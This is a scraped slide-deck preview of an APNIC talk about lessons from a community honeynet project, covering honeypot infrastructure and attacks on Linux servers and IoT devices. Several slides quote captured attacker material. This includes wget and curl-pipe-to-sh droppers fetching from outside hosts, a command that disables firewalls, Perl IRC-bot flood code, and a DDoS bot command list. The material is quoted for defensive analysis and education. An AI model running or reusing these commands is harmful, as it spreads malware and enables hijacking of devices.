IBCAST 2021: Observations and lessons learned from the APNIC Commun...

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

1
Observations and Lessons Learned from
the APNIC Community Honeynet Project
Adli Wahid
Senior Internet Security Specialis...

2
2
Let’s Connect!
LinkedIn: Adli Wahid
Email: adli@apnic.net
Twitter: @adliwahid
PGP Key fingerprint = 0CA9 A0A3 42C0
241...

3
3
Talk Overview
1. APNIC Community Honeynet
Project
2. Observations on activities
targeting Linux servers and
IoTs
3. Le...

4
4
Overview of the APNIC
Community Honeynet Project

5
5
APNIC Community Honeynet Project
• Context
– Educational – using honeypots for understanding network security attacks ...

6
6
APNIC Community Honeypot
1. Purpose and Placement
o Research & Alerting – Internet
2. Type of Honeypots
o Cowrie, Dion...

7
7
Community Honeynet Infrastructure
hpfeeds
hpfeeds
CHN
MHN
Filebeats (json)
Filebeats (json)
Logstash
TLS
TLS
ElasticSe...

8
8
* Traffic from the last 30 days

9
9

10
10

11
Country View – Pakistan (Last 90 days)

12
Observations and Lessons
Learned

13
13
Linux/Unix Malware
• Routers / IoT devices / Servers run Linux / Unix based OS
• Not new but pervasive
– Targets are...

14
14
Different Perspectives of a DDoS
My Network /
Infrastructure /
Host
Source
Target / Victim Perspective
Attacker Pers...

15
15
Service & Attacker
Infrastructure
• Setting up the infrastructure
• Misconfigured services
– Servers - NTP, DNS, SSD...

18
18
source
Brute force:
Username: admin password:12345
Remote Code Execution via Web interface
Download Binary /
Execute...

19
19
Telnet/SSH Honeypot (Cowrie)
• Emulates SSH / Telnet
– Allows attacker to log in
• Emulates Linux/Unix environment
–...

20
Successful Logins – New Honeypot
{
"eventid": "cowrie.login.success",
"username": "root",
"timestamp": "2018-10-07T19:3...

21
21
Execute Payload
#!/bin/sh
cd /tmp || cd /honme/$USER || cd /var/run || cd /mnt
|| cd /root || cd /
wget http://185.1...

22
22
/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;cd /tmp;wget -
c http://116....

23
my $process = $rps[rand scalar @rps];
my @rversion = ("Phl4nk");
my $vers = $rversion[rand scalar @rversion];
my @rircn...

$24 24 if ($funcarg =~ /^flood/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1===============================...$

25
* Non-spoof / non-root attacks: (can run on all bots) *
* STD <ip> <port> <time> = A non spoof UDP HIV STD flooder *
* ...

26
26
Linux/Mirai – Fbot
https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-
linuxmirai-fbot-re.html
2020-07-16T10:47:3...

27
27

28
Cryptominers / Cryptojacking

31
31
curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &

$32 32 Snippet of shell script if [ ! -f "4d867bd38706a5f7" ]; then ARCH=$(getconf LONG_BIT) if [ ${ARCH}x = "64x" ]; then ...$

33
33
Find hash related to
URL serving Malware
a5fba021a41c520a81647cda41110033eba
4f8842eb3239f227bcbb0b1b110d6

34
34

35
35
Rocke Gang
1. https://isc.sans.edu/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/
24916 (May 2019)
2. https:...

36
36
www-data 17838 0.0 0.0 4452 636 ? S
Mar20 0:00 sh -c /bin/bash -i -c '( while true ; do
/var/www/[truncated]default/...

37
37
Analysis - Interesting indicators
• IP addresses of host for initial access, run script to download
binary/malware
–...

38
38
Lessons Learned

39
39
Lessons Learned
• Context how can we “ improve” security ?
• Bad Practices
o Telnet enabled by default on devices
o ...

45
45
Source IP from TO
2020-10-16T06:53:37.404513Z - cowrie : Traffic from IP
address: x.z.y.56 src_port: 33903 dest_port...

46
46
Back to the drawing Board?
• Keeping the Internet safe and secure for _everyone_
• Education
– Users, operators, dev...

48
Thank You!
LinkedIn: Adli Wahid
Email: adli@apnic.net
Twitter: @adliwahid
PGP: 0CA9 A0A3 42C0 241E 6AE9 B24C 53F7 CE5C ...